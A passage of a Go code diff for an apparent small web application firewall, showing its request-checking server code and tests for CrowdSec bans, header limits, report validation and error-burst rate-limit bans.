 	if line.BanExpires != expires {
 		t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
 	}
 	clk.advance(time.Second)
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 	// The ban and the hit are counted, and the list has the metrics of any
 	// list fetched from a URL.
 	metrics := s.scrape()
 	labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}`
 	wantMetric(t, metrics, `sww_bans_made_total{cause="crowdsec",`+
 		`instance="`+alertInstance+`"}`, 1)
 	wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1)
 	wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
 	wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels,
 		float64(fetched.Unix()))
 }
 func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
 	t.Parallel()
 	s, clk, server := startWithClock(t, "", map[string]string{
 		crowdSecURL: lapi, crowdSecKey: bouncerKey,
 	})
 	// 198.51.100.0/24 and 2001:db8::9 had a minute left as the engine
 	// answered.
 	fetched := clk.Now()
 	loadDecisions(t, server, fetched, `[{"duration": "1m0s", `+
 		`"scenario": "crowdsecurity/http-probing", "scope": "Range", "type": "ban", `+
 		`"value": "198.51.100.0/24"}, {"duration": "1m0s", `+
 		`"scenario": "crowdsecurity/http-probing", "scope": "Ip", "type": "ban", `+
 		`"value": "2001:db8::9"}]`)
 	// Just before its end, the decision bans a client in the netblock, and
 	// one on an IPv6 address bans the address's group, the /64.
 	clk.advance(time.Minute - time.Nanosecond)
 	s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionBanned)
 	s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionBanned)
 	s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionBanned)
 	// Once it has ended, it bans no other client, and the bans it made end
 	// with it.
 	clk.advance(time.Nanosecond)
 	for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
 		wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
 	}
 	if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
 		t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
 			"2001:db8::/64", made)
 	}
 	if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
 		t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
 	}
 }
 func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
 	t *testing.T,
 ) {
 	t.Parallel()
 	s, clk, server, queue := startWithAlerts(t, map[string]string{
 		crowdSecURL: lapi, crowdSecKey: bouncerKey, mode: observe,
 	})
 	loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
 		`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
 		`"value": "`+client+`"}]`)
 	line := s.get(client, http.StatusOK, requestlog.ActionForward)
 	wantWouldAction(t, line, requestlog.ActionBanned)
 	wantReputation(t, line, decisionsURL)
 	if held := server.Ledger.Snapshot(); len(held) != 0 {
 		t.Errorf("bans %+v, want none", held)
 	}
 	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
 	if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
 		waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
 		waiting[1].Detail["mode"] != observe {
 		t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
 			"marked observe", waiting)
 	}
 }
 // loadDecisions puts into server's lists the copy of the decision list at
 // decisionsURL, answer, the engine's answer, fetched at fetched, as
 // reputation.json would at start.
 func loadDecisions(
 	t *testing.T, server *discriminator.Server, fetched time.Time, answer string,
 ) {
 	t.Helper()
 	err := server.Lists.Load([]reputation.List{{
 		URL: decisionsURL, Tried: fetched, Fetched: fetched, Lines: []string{answer},
 	}})
 	if err != nil {
 		t.Fatalf("load the decision list: %v", err)
 	}
 }
@@ -1,510 +0,0 @@
 package discriminator
 import (
 	"bytes"
 	"encoding/json"
 	"errors"
 	"fmt"
 	"io"
 	"log/slog"
 	"net/http"
 	"net/netip"
 	"strconv"
 	"strings"
 	"time"
 	"unicode/utf8"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 // The headers of rproxy's question and of discriminator's answer, as
 // "discriminator" in SPEC.md gives them.
 const (
 	// ClientHeader marks a request as rproxy's question, and gives the
 	// visitor's address.
 	ClientHeader = "X-Sww-Client"
 	// PeerHeader gives the address of rproxy's own TCP peer.
 	PeerHeader = "X-Sww-Peer"
 	// ContentLengthHeader gives the body length the visitor announced.
 	ContentLengthHeader = "X-Sww-Content-Length"
 	// DispositionHeader gives discriminator's answer.
 	DispositionHeader = "X-Sww-Disposition"
 )
 // The values of DispositionHeader.
 const (
 	// DispositionAllow tells rproxy to pass the request to the app.
 	DispositionAllow = "allow"
 	// DispositionDeny tells rproxy to give the visitor the answer's status,
 	// headers and body.
 	DispositionDeny = "deny"
 	// DispositionClose tells rproxy to close the visitor's connection
 	// without an answer, which SWW_BAN_RESPONSE asks for when it is close.
 	// discriminator closing the question's connection instead would read as
 	// discriminator being down, and rproxy would then let the request through.
 	DispositionClose = "close"
 )
 // ReportPath is where rproxy sends the report of each request discriminator
 // answered.
 const ReportPath = "/_sww/report"
 // QuestionBodyMaxBytes is the most of a visitor's body a question carries.
 const QuestionBodyMaxBytes = 64 << 10
 // The header limits: the most cookies and header fields a request may have
 // when the checks reach the Core Rule Set. Real clients never reach them.
 const (
 	maxCookies      = 50
 	maxHeaderFields = 100
 )
 const (
 	// maxAwaitingReport is the most answered requests held until their
 	// reports come. Past it, the request answered longest ago is dropped.
 	maxAwaitingReport = 10000
 	// maxRequestIDBytes is the longest id a question may give.
 	maxRequestIDBytes = 128
 	// reportBodyMaxBytes is the most of a report's body that is read. It is
 	// far above any report's.
 	reportBodyMaxBytes = 1 << 20
 	// maxHTTPStatus is the highest status a report may give.
 	maxHTTPStatus = 599
 	// maxReportedBytes is the most bytes a report may give for each way, 1
 	// PiB, so that adding them up cannot overflow.
 	maxReportedBytes = 1 << 50
 	// maxReportedMilliseconds is the longest duration a report may give,
 	// about 31 years, so that it fits a time.Duration.
 	maxReportedMilliseconds = 1e12
 	// discriminatorTimeout bounds how long a request to discriminator takes to
 	// arrive, and its answer to leave, and discriminatorIdleTimeout how long a
 	// kept-open connection waits for its next request.
 	discriminatorTimeout     = 60 * time.Second
 	discriminatorIdleTimeout = 120 * time.Second
 )
 var (
 	errReportFieldMissing = errors.New("a field is missing")
 	errReportValue        = errors.New("a value is out of range")
 )
 // Report is the JSON object rproxy posts to ReportPath once the visitor's
 // answer has ended, its fields named as the request log's of the same
 // meaning. RequestID is the question's id. Status is what the visitor got, 0
 // if nothing. The durations are in milliseconds.
 //
 //nolint:tagliatelle // docs/request-log.md names the fields in snake_case
 type Report struct {
 	RequestID             string  `json:"request_id"`
 	Status                int     `json:"status"`
 	RequestBytes          int64   `json:"request_bytes"`
 	ResponseBytes         int64   `json:"response_bytes"`
 	DurationTotal         float64 `json:"duration_total"`
 	DurationUpstreamTotal float64 `json:"duration_upstream_total"`
 }
 // New returns the server `sww discriminator` runs. It answers
 // rproxy's questions, takes rproxy's reports and answers its own endpoints. It
 // passes nothing to an app. rproxy applies the size and time limits to the
 // visitor. Go's default limit on a request's line and headers, 1 MiB, stays: it
 // is far above rproxy's, and a question refused for its size would have rproxy
 // let the request through.
 func New(params Params) *Server {
 	h := newHandler(params)
 	return &Server{
 		Server: &http.Server{
 			Addr:         params.Config.ListenAddr,
 			Handler:      h,
 			ErrorLog:     slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn),
 			ReadTimeout:  discriminatorTimeout,
 			WriteTimeout: discriminatorTimeout,
 			IdleTimeout:  discriminatorIdleTimeout,
 		},
 		Ledger:     h.ledger,
 		Limiter:    h.limiter,
 		GeoJS:      h.geojs,
 		Anomalies:  h.anomalies,
 		LookupFile: h.lookupFile,
 		Lists:      h.lists,
 		DNSBL:      h.dnsbl,
 		AbuseIPDB:  h.abuseIPDB,
 		Metrics:    h.metrics,
 	}
 }
 // ServeHTTP handles one request to discriminator: a request carrying
 // ClientHeader is rproxy's question, and any other is for discriminator
 // itself.
 func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 	if len(r.Header.Values(ClientHeader)) > 0 {
 		h.answerQuestion(w, r)
 		return
 	}
 	h.answerOwnEndpoint(w, r)
 }
 // refusedWhateverTheAnswer reports whether the request is one that does not wait
 // for GeoJS, since the checks will refuse it at now whatever GeoJS answers about
 // its client: it is over the header limits, a blocklist lists its client while
 // SWW_BLOCKLIST_ACTION is deny, the CrowdSec decision list lists it, or it is
 // over a whole rate limit. In observe mode, which refuses nothing, none is.
 // rproxy lets a request through when discriminator answers too late.
 func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
 	if rq.h.config.Observe {
 		return false
 	}
 	lists := rq.h.lists
 	_, decided := lists.CrowdSecDecision(rq.client, now)
 	return decided || rq.overHeaderLimits() ||
 		(rq.h.config.BlocklistAction == deny && len(lists.ListedBy(rq.client)) > 0) ||
 		(rq.countedByRateLimits() &&
 			rq.h.limiter.OverARateLimit(rq.h.clientGroup(rq.client), now))
 }
 // overHeaderLimits reports whether discriminator refuses the request for its
 // headers: it has more than maxHeaderFields fields, each value of a header sent
 // twice being one, or more than maxCookies cookies, each part of a Cookie header
 // between semicolons being one unless it is empty or only spaces and tabs. The
 // Core Rule Set runs each of its rules on each cookie, so that thousands of small
 // cookies keep it busy for over a second. It trims only spaces and control
 // characters, of which a header value can hold only tabs, so a part of Unicode
 // spaces is a cookie to it.
 func (rq *request) overHeaderLimits() bool {
 	fields, cookies := 0, 0
 	for _, values := range rq.in.Header {
 		fields += len(values)
 	}
 	for _, value := range rq.in.Header.Values("Cookie") {
 		for part := range strings.SplitSeq(value, ";") {
 			if strings.Trim(part, " \t") != "" {
 				cookies++
 			}
 		}
 	}
 	return fields > maxHeaderFields || cookies > maxCookies
 }
 // answerQuestion runs the checks on the visitor's request a question
 // carries, and answers rproxy what to do with it. A denied request's counting
 // is finished here, and an allowed one's by its report.
 func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
 	client, body, ok := h.readQuestion(w, r)
 	if !ok {
 		return
 	}
 	// One that cannot be read leaves the log line's peer_ip invalid.
 	peer, _ := netip.ParseAddr(r.Header.Get(PeerHeader))
 	rq := h.startRequest(w, asTheVisitorSentIt(r, body), client.Unmap(), peer.Unmap(),
 		true)
 	// The last deferred runs first, so that what is held has the finished log
 	// line. Go's server sends the answer only once this function has
 	// returned, so the report cannot come before it is held.
 	defer rq.holdForReport()
 	defer rq.finish()
 	rq.site = r.Host
 	rq.line.DiscriminatorLine = requestlog.DiscriminatorLineDecision
 	refused := rq.check(r.Context())
 	rq.checked = time.Now()
 	underOwnPrefix := strings.HasPrefix(r.URL.Path, adminPrefix)
 	if refused == nil && !underOwnPrefix {
 		// In observe mode, what enforce mode would have refused counts here.
 		defer rq.countRefusal()
 		rq.allow()
 		return
 	}
 	// The last deferred runs first: countRefusal before addToHistory, so that a
 	// broken error burst is in the client's history.
 	defer rq.addToHistory()
 	defer rq.countAnomalies()
 	defer rq.countRefusal()
 	if refused != nil {
 		rq.deny(*refused)
 		return
 	}
 	// The app never sees this prefix. discriminator's own endpoints are at its
 	// own address, so this answers as a path with no endpoint does.
 	rq.line.Action = requestlog.ActionAdmin
 	rq.out.Header().Set(DispositionHeader, DispositionDeny)
 	http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
 }
 // readQuestion returns the visitor's address and the body a question carries,
 // and whether discriminator takes the question. It answers a question it does not
 // take with 400 and no disposition, which rproxy treats as it treats no
 // answer. The id of a question it takes is held from here on, without a
 // decision yet, so that another question with that id is refused while this
 // one is being handled.
 //
 // The body is read before any check, since Go's server does not send an answer
 // until it has read the body. A question whose body stops arriving gets no
 // answer, and is not looked at.
 func (h *handler) readQuestion(
 	w http.ResponseWriter, r *http.Request,
 ) (netip.Addr, []byte, bool) {
 	client, err := netip.ParseAddr(r.Header.Get(ClientHeader))
 	if err != nil || client.Zone() != "" {
 		h.refuseQuestion(w, ClientHeader+" is not an address without a zone")
 		return netip.Addr{}, nil, false
 	}
 	id := r.Header.Get(requestIDHeader)
 	if id == "" || len(id) > maxRequestIDBytes || !utf8.ValidString(id) {
 		h.refuseQuestion(w, requestIDHeader+" is not a valid id")
 		return netip.Addr{}, nil, false
 	}
 	body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, QuestionBodyMaxBytes))
 	if _, tooLarge := errors.AsType[*http.MaxBytesError](err); tooLarge {
 		h.refuseQuestion(w, "the body is over 64 KiB")
 		return netip.Addr{}, nil, false
 	}
 	if err != nil {
 		h.processLog.Warn("a question's body stopped arriving", "error", err.Error())
 		// This panic has Go's server close the connection without an answer,
 		// and log nothing.
 		panic(http.ErrAbortHandler)
 	}
 	held, _ := h.awaitingReport.ContainsOrAdd(id, nil)
 	if held {
 		h.refuseQuestion(w, requestIDHeader+" is the id of a request discriminator holds")
 		return netip.Addr{}, nil, false
 	}
 	return client, body, true
 }
 // refuseQuestion answers a question discriminator does not take, for reason.
 func (h *handler) refuseQuestion(w http.ResponseWriter, reason string) {
 	h.processLog.Warn("a question is refused", "reason", reason)
 	http.Error(w, reason, http.StatusBadRequest)
 }
 // asTheVisitorSentIt returns a copy of r, a question, as the checks and the
 // log line are to see it: without the headers rproxy adds for discriminator,
 // with body, which has been read of r, and with the length the visitor
 // announced, as -1 when it announced none. The question's own length covers
 // only the part of the body it carries.
 func asTheVisitorSentIt(r *http.Request, body []byte) *http.Request {
 	sent := r.Clone(r.Context())
 	announced := sent.Header.Get(ContentLengthHeader)
 	sent.Header.Del(ClientHeader)
 	sent.Header.Del(PeerHeader)
 	sent.Header.Del(ContentLengthHeader)
 	sent.Header.Del("Content-Length")
 	sent.ContentLength = -1
 	length, err := strconv.ParseInt(announced, 10, 64)
 	if err == nil && length >= 0 {
 		sent.ContentLength = length
 		sent.Header.Set("Content-Length", announced)
 	}
 	sent.Body = http.NoBody
 	if len(body) > 0 {
 		sent.Body = io.NopCloser(bytes.NewReader(body))
 	}
 	return sent
 }
 // allow answers a question with DispositionAllow and, while
 // SWW_ADD_LOOKUP_HEADERS is set, the client's AS number and country.
 func (rq *request) allow() {
 	rq.allowed = true
 	header := rq.out.Header()
 	header.Set(DispositionHeader, DispositionAllow)
 	if rq.h.config.AddLookupHeaders {
 		setLookupHeaders(header, rq.line.ASN, rq.line.Country)
 	}
 	rq.out.WriteHeader(http.StatusOK)
 }
 // holdForReport holds a copy of what the report's steps need, by the request's
 // id. A report only ever reaches that copy, never the request being handled.
 func (rq *request) holdForReport() {
 	held := rq.decision
 	rq.h.awaitingReport.Add(rq.line.RequestID, &held)
 }
 // deny answers a question with what the visitor is to get for r.
 func (rq *request) deny(r refusal) {
 	rq.refused = &r
 	if r.status == 0 {
 		// SWW_BAN_RESPONSE is close. Written past rq.out, since the log line's
 		// status stays 0: the visitor is sent nothing.
 		rq.out.Header().Set(DispositionHeader, DispositionClose)
 		rq.out.ResponseWriter.WriteHeader(http.StatusOK)
 		return
 	}
 	rq.out.Header().Set(DispositionHeader, DispositionDeny)
 	http.Error(rq.out, http.StatusText(r.status), r.status)
 }
 // answerOwnEndpoint answers a request to discriminator's own address. No check
 // runs on it: the address is on the private network, where the peers are
 // rproxy and the admin's tools, not visitors.
 func (h *handler) answerOwnEndpoint(w http.ResponseWriter, r *http.Request) {
 	if r.Method == http.MethodPost && r.URL.Path == ReportPath {
 		h.takeReport(w, r)
 		return
 	}
 	peer := peerAddress(r)
 	rq := h.startRequest(w, r, peer, peer, false)
 	defer rq.finish()
 	if r.Method == http.MethodGet && r.URL.Path == HealthPath {
 		rq.answerHealth()
 		return
 	}
 	rq.answerAdmin()
 }
 // takeReport answers POST ReportPath: it finishes the request the report
 // names, if it holds that request's decision, and ignores the report
 // otherwise.
 func (h *handler) takeReport(w http.ResponseWriter, r *http.Request) {
 	report, err := readReport(w, r)
 	if err != nil {
 		h.processLog.Warn("a report is refused", "error", err.Error())
 		http.Error(w, "the body is not a report", http.StatusBadRequest)
 		return
 	}
 	held, found := h.awaitingReport.Peek(report.RequestID)
 	// Remove reports true to one report only, of several that name the id. A
 	// question still being handled is held as nil.
 	if found && held != nil && h.awaitingReport.Remove(report.RequestID) {
 		h.finishWith(held, report)
 	}
 	w.WriteHeader(http.StatusNoContent)
 }
 // readReport reads a report from r's body, which must be one JSON object with
 // all of Report's fields, in the ranges SPEC.md gives.
 func readReport(w http.ResponseWriter, r *http.Request) (Report, error) {
 	var report Report
 	body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, reportBodyMaxBytes))
 	if err != nil {
 		return report, fmt.Errorf("read the body: %w", err)
 	}
 	var fields map[string]json.RawMessage
 	err = json.Unmarshal(body, &fields)
 	if err != nil {
 		return report, fmt.Errorf("decode the body: %w", err)
 	}
 	for _, name := range []string{
 		"request_id", "status", "request_bytes", "response_bytes",
 		"duration_total", "duration_upstream_total",
 	} {
 		value, there := fields[name]
 		if !there || string(value) == "null" {
 			return report, fmt.Errorf("%w: %s", errReportFieldMissing, name)
 		}
 	}
 	err = json.Unmarshal(body, &report)
 	if err != nil {
 		return report, fmt.Errorf("decode the body: %w", err)
 	}
 	return report, report.checkRanges()
 }
 // checkRanges returns an error for a value of the report that cannot be true.
 func (report *Report) checkRanges() error {
 	switch {
 	case report.Status != 0 &&
 		(report.Status < http.StatusContinue || report.Status > maxHTTPStatus):
 		return fmt.Errorf("%w: status", errReportValue)
 	case report.RequestBytes < 0 || report.RequestBytes > maxReportedBytes:
 		return fmt.Errorf("%w: request_bytes", errReportValue)
 	case report.ResponseBytes < 0 || report.ResponseBytes > maxReportedBytes:
 		return fmt.Errorf("%w: response_bytes", errReportValue)
 	case report.DurationTotal < 0 || report.DurationTotal > maxReportedMilliseconds:
 		return fmt.Errorf("%w: duration_total", errReportValue)
 	case report.DurationUpstreamTotal < 0 ||
 		report.DurationUpstreamTotal > maxReportedMilliseconds:
 		return fmt.Errorf("%w: duration_upstream_total", errReportValue)
 	}
 	return nil
 }
 // finishWith finishes a request with what its report says, and writes the
 // request's last log line, which holds its decision's fields and the report's.
 // For an allowed request it first counts the request's bytes, and adds it to its
 // client's history, the anomaly counters and the metrics, with the status and
 // bytes the report gives. A denied request's counting was finished at its
 // decision.
 func (h *handler) finishWith(held *decision, report Report) {
 	rq := &request{
 		decision:     *held,
 		h:            h,
 		out:          &responseWriter{status: report.Status, bytes: report.ResponseBytes},
 		requestBytes: report.RequestBytes,
 	}
 	rq.line.DiscriminatorLine = requestlog.DiscriminatorLineReport
 	rq.line.Status = report.Status
 	rq.line.RequestBytes = report.RequestBytes
 	rq.line.ResponseBytes = report.ResponseBytes
 	rq.line.DurationTotal = report.DurationTotal
 	if rq.allowed {
 		rq.line.DurationUpstreamTotal = &report.DurationUpstreamTotal
 		rq.countBytes()
 		rq.countAnomalies()
 		rq.addToHistory()
 		rq.h.metrics.RequestReported(&rq.line,
 			time.Duration(report.DurationTotal*float64(time.Millisecond)),
 			time.Duration(report.DurationUpstreamTotal*float64(time.Millisecond)))
 	}
 	rq.writeLine()
 }
@@ -1,366 +0,0 @@
 package discriminator_test
 import (
 	"maps"
 	"net/http"
 	"net/netip"
 	"reflect"
 	"testing"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 const errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
 // refused is a request the tests here send, which discriminator refuses after a rule
 // file match.
 type refused int
 const (
 	// blockRule is a request testRules' block rule refuses with 403.
 	blockRule refused = iota
 	// banRule is one its ban rule refuses with 403, and bans the client
 	// for.
 	banRule
 )
 // send sends r from the client at from, checks its answer and log line as
 // sender.request does, and returns the line.
 func (r refused) send(s *sender, from string) logLine {
 	s.t.Helper()
 	switch r {
 	case blockRule:
 		return s.request(from, blockedPath, http.StatusForbidden,
 			requestlog.ActionRuleBlocked)
 	case banRule:
 		return s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned)
 	}
 	s.t.Fatalf("no request for the refusal %d", r)
 	return logLine{}
 }
 // startForErrorBurst is startWithClock with testRules, the metrics token and
 // SWW_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
 func startForErrorBurst(
 	t *testing.T, threshold string, env map[string]string,
 ) (*sender, *clock, *discriminator.Server) {
 	t.Helper()
 	settings := map[string]string{
 		errorBurstThreshold: threshold,
 		rulesDir:            writeRules(t, testRules),
 		metricsToken:        token,
 	}
 	maps.Copy(settings, env)
 	return startWithClock(t, "", settings)
 }
 func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
 	t.Parallel()
 	for _, tc := range []struct {
 		name string
 		// refusals are four, one over the threshold of three.
 		refusals []refused
 	}{
 		{"block rule", []refused{blockRule, blockRule, blockRule, blockRule}},
 		{"a ban rule last", []refused{blockRule, blockRule, blockRule, banRule}},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			s, _, _ := startForErrorBurst(t, "3", nil)
 			// Three refusals break nothing, and the app's answers between
 			// them are not counted.
 			for i, r := range tc.refusals[:3] {
 				line := r.send(s, client)
 				if line.LimitHit != "" || line.Offence != "" {
 					t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
 						"want none", i+1, line.LimitHit, line.Offence)
 				}
 				s.get(client, http.StatusOK, requestlog.ActionForward)
 			}
 			// The fourth is answered as the others were, breaks the error
 			// burst, and bans the client.
 			line := tc.refusals[3].send(s, client)
 			if line.LimitHit != requestlog.LimitHitErrorBurst ||
 				line.Offence != requestlog.OffenceLimit {
 				t.Errorf("log line has limit_hit %q and offence %q, want error_burst "+
 					"and limit", line.LimitHit, line.Offence)
 			}
 			s.get(client, http.StatusForbidden, requestlog.ActionBanned)
 		})
 	}
 }
 func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
 	t.Parallel()
 	s, clk, server := startForErrorBurst(t, "2", nil)
 	start := clk.Now()
 	blockRule.send(s, client)
 	blockRule.send(s, client)
 	line := blockRule.send(s, client)
 	expires := start.Add(time.Hour)
 	if line.BanExpires != requestlog.FormatTime(expires) {
 		t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
 	}
 	netblock := netip.MustParsePrefix(client + "/32")
 	want := bans.Ban{
 		Netblock: netblock,
 		Start:    start,
 		Expires:  expires,
 		Cause:    bans.CauseLimit,
 		Reason:   "refusals per minute over the limit of 2",
 		Notes: bans.Notes{
 			Kind:   ratelimit.KindRefusals,
 			Limit:  2,
 			Window: minute,
 			Count:  3,
 			Request: bans.Request{
 				Time:      start,
 				Method:    http.MethodGet,
 				Host:      appHost,
 				Path:      blockedPath,
 				Status:    http.StatusForbidden,
 				UserAgent: userAgent,
 			},
 			Requests: 3,
 		},
 	}
 	got := server.Ledger.Bans(netblock)
 	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
 		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
 	}
 	wantOffences := ratelimit.Offences{Limit: 1, RuleBlocked: 3}
 	if offences := historyOf(t, server, client).Offences; offences != wantOffences {
 		t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
 	}
 	metrics := s.scrape()
 	wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
 		`kind="refusals",window="minute"}`, 1)
 	wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
 	wantMetric(t, metrics,
 		`sww_offences_total{instance="app",kind="rule_blocked"}`, 3)
 	wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
 }
 func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
 	t.Parallel()
 	geojsURL, _ := startGeoJS(t)
 	s, _, server := startWithClock(t, geojsURL, map[string]string{
 		lookupTimeout:       "1h",
 		errorBurstThreshold: "2",
 		rulesDir:            writeRules(t, testRules),
 		countryLimitPercent: countryDEHalf,
 	})
 	// Half of the threshold would be one, which the second refusal is over.
 	for range 2 {
 		line := blockRule.send(s, fromDE)
 		if line.LimitHit != "" {
 			t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
 		}
 	}
 	blockRule.send(s, fromDE)
 	got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
 	if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
 		t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
 	}
 }
 func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
 	t.Parallel()
 	statuses := map[string]int{
 		"/missing":   http.StatusNotFound,
 		"/private":   http.StatusUnauthorized,
 		"/forbidden": http.StatusForbidden,
 	}
 	s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
 		w.WriteHeader(statuses[r.URL.Path])
 	}, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
 	for range 2 {
 		for path, status := range statuses {
 			s.request(client, path, status, requestlog.ActionForward)
 		}
 	}
 	// The first refusal is one, not over the threshold.
 	line := blockRule.send(s, client)
 	if line.LimitHit != "" {
 		t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
 	}
 	// No ban was made, nor its alert raised.
 	s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
 	wantAlerts(t, queue)
 }
 func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
 	t.Parallel()
 	for _, tc := range []struct {
 		threshold string
 		// broken is whether the 31st refusal breaks the error burst.
 		broken bool
 	}{
 		{"", true},
 		{off, false},
 	} {
 		t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
 			t.Parallel()
 			env := map[string]string{rulesDir: writeRules(t, testRules)}
 			if tc.threshold != "" {
 				env[errorBurstThreshold] = tc.threshold
 			}
 			s, _, _ := startWithClock(t, "", env)
 			var line logLine
 			for range 31 {
 				line = blockRule.send(s, client)
 			}
 			if broken := line.LimitHit == requestlog.LimitHitErrorBurst; broken != tc.broken {
 				t.Errorf("the 31st refusal broke the error burst: %t, want %t",
 					broken, tc.broken)
 			}
 		})
 	}
 }
 func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
 	t.Parallel()
 	const (
 		allowed = "192.0.2.60" // in SWW_ALLOW_NETS
 		exempt  = "192.0.2.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
 	)
 	s, _, _ := startForErrorBurst(t, "1", map[string]string{
 		allowNets: allowed, rateLimitExemptNets: exempt,
 	})
 	// A client in SWW_ALLOW_NETS is not refused, and so not counted.
 	for range 3 {
 		s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward)
 	}
 	// One the rate limits do not apply to is.
 	blockRule.send(s, exempt)
 	line := blockRule.send(s, exempt)
 	if line.LimitHit != requestlog.LimitHitErrorBurst {
 		t.Errorf("log line has limit_hit %q, want error_burst", line.LimitHit)
 	}
 	s.get(exempt, http.StatusForbidden, requestlog.ActionBanned)
 }
 func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
 	t.Parallel()
 	s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
 	blockRule.send(s, client)
 	blockRule.send(s, client)
 	// Within the same minute, once the ban has ended, the next refusal is
 	// the first again.
 	clk.advance(time.Second)
 	line := blockRule.send(s, client)
 	if line.LimitHit != "" {
 		t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
 	}
 }
 func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
 	t.Parallel()
 	s, clk, server, queue := startWithAlerts(t, map[string]string{
 		mode:                observe,
 		errorBurstThreshold: "1",
 		rulesDir:            writeRules(t, testRules),
 	})
 	start := clk.Now()
 	held := bans.Ban{
 		Netblock: netip.MustParsePrefix(otherClient + "/32"),
 		Start:    start,
 		Expires:  start.Add(time.Hour),
 		Cause:    bans.CauseAdmin,
 	}
 	server.Ledger.Load([]bans.Ban{held})
 	// Under a ban, enforce mode would have refused these before the rule, so
 	// they are not counted.
 	for range 2 {
 		line := s.request(otherClient, blockedPath, http.StatusOK,
 			requestlog.ActionForward)
 		wantWouldAction(t, line, requestlog.ActionBanned)
 		if line.LimitHit != "" {
 			t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
 		}
 	}
 	// The block rule's refusal, which enforce mode would have answered 403,
 	// is the second of the client's, and would have banned it.
 	s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
 	line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
 	wantWouldAction(t, line, requestlog.ActionRuleBlocked)
 	if line.LimitHit != requestlog.LimitHitErrorBurst || line.BanExpires != "" {
 		t.Errorf("log line has limit_hit %q and ban_expires %q, want error_burst "+
 			"and none", line.LimitHit, line.BanExpires)
 	}
 	if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
 		t.Errorf("bans %+v, want only the one held", got)
 	}
 	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
 	if len(waiting) != 1 {
 		t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
 	}
 	notes, _ := waiting[0].Detail["notes"].(bans.Notes)
 	if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
 		notes.Request.Status != http.StatusForbidden {
 		t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
 			notes)
 	}
 	alert := banAlert(alerts.EventBan, start, client, bans.Ban{
